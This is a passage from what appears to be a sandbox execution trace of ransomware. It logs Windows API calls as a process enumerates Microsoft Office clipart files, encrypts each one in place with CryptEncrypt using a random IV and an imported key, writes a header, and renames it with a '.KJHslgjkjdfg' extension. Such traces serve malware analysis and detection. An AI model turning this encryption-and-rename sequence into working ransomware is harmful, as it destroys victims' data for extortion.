"c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.kjhslgjkjdfg")) returned 1 [0188.153] CloseHandle (hObject=0x130) returned 1 [0188.153] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac04fe00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xac04fe00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5130, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00687_.WMF", cAlternateFileName="")) returned 1 [0188.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.153] GetProcessHeap () returned 0x990000 [0188.153] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.153] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.154] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.154] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.154] GetProcessHeap () returned 0x990000 [0188.154] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.154] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.154] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.154] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.159] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.159] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.159] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.159] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5130, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5130, lpOverlapped=0x0) returned 1 [0188.160] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5130, dwBufLen=0x5130 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5130) returned 1 [0188.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.161] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5130, lpOverlapped=0x0) returned 1 [0188.161] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.161] SetEndOfFile (hFile=0x130) returned 1 [0188.163] GetProcessHeap () returned 0x990000 [0188.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.163] GetProcessHeap () returned 0x990000 [0188.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.163] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.kjhslgjkjdfg")) returned 1 [0188.164] CloseHandle (hObject=0x130) returned 1 [0188.164] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcb1e00, ftCreationTime.dwHighDateTime=0x1bd4b37, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcb1e00, ftLastWriteTime.dwHighDateTime=0x1bd4b37, nFileSizeHigh=0x0, nFileSizeLow=0x600c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00705_.WMF", cAlternateFileName="")) returned 1 [0188.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.165] GetProcessHeap () returned 0x990000 [0188.165] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.165] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.165] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.166] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.166] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.166] GetProcessHeap () returned 0x990000 [0188.166] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.167] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.167] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.167] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.167] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.167] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.167] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.167] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.167] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.167] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.167] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x600c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x600c, lpOverlapped=0x0) returned 1 [0188.168] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6010, dwBufLen=0x6010 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x6010) returned 1 [0188.168] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.168] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x6010, lpOverlapped=0x0) returned 1 [0188.169] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x60e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.169] SetEndOfFile (hFile=0x130) returned 1 [0188.171] GetProcessHeap () returned 0x990000 [0188.171] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.171] GetProcessHeap () returned 0x990000 [0188.171] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.171] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.kjhslgjkjdfg")) returned 1 [0188.172] CloseHandle (hObject=0x130) returned 1 [0188.172] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb92d600, ftCreationTime.dwHighDateTime=0x1bd4b42, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb92d600, ftLastWriteTime.dwHighDateTime=0x1bd4b42, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01015_.WMF", cAlternateFileName="")) returned 1 [0188.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.173] GetProcessHeap () returned 0x990000 [0188.173] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.173] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.173] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.173] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0188.175] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.175] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.175] GetProcessHeap () returned 0x990000 [0188.175] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.175] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.175] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.175] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.175] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.175] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.176] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.176] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.176] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x8b2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x8b2, lpOverlapped=0x0) returned 1 [0188.176] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0, dwBufLen=0x8c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x8c0) returned 1 [0188.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.176] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x8c0, lpOverlapped=0x0) returned 1 [0188.176] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.176] SetEndOfFile (hFile=0x130) returned 1 [0188.179] GetProcessHeap () returned 0x990000 [0188.179] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.179] GetProcessHeap () returned 0x990000 [0188.179] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.kjhslgjkjdfg")) returned 1 [0188.180] CloseHandle (hObject=0x130) returned 1 [0188.180] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x39e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01039_.WMF", cAlternateFileName="")) returned 1 [0188.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.181] GetProcessHeap () returned 0x990000 [0188.181] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.181] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.181] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.181] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0188.183] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.183] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.183] GetProcessHeap () returned 0x990000 [0188.183] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.183] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.183] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.183] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.183] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.183] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.183] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.183] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.183] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.183] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.183] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.184] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x39e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x39e4, lpOverlapped=0x0) returned 1 [0188.185] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x39f0, dwBufLen=0x39f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x39f0) returned 1 [0188.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.185] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x39f0, lpOverlapped=0x0) returned 1 [0188.185] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.185] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ac4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.185] SetEndOfFile (hFile=0x130) returned 1 [0188.187] GetProcessHeap () returned 0x990000 [0188.187] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.187] GetProcessHeap () returned 0x990000 [0188.188] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.188] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.kjhslgjkjdfg")) returned 1 [0188.188] CloseHandle (hObject=0x130) returned 1 [0188.188] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01138_.WMF", cAlternateFileName="")) returned 1 [0188.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.190] GetProcessHeap () returned 0x990000 [0188.190] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.190] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.190] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, 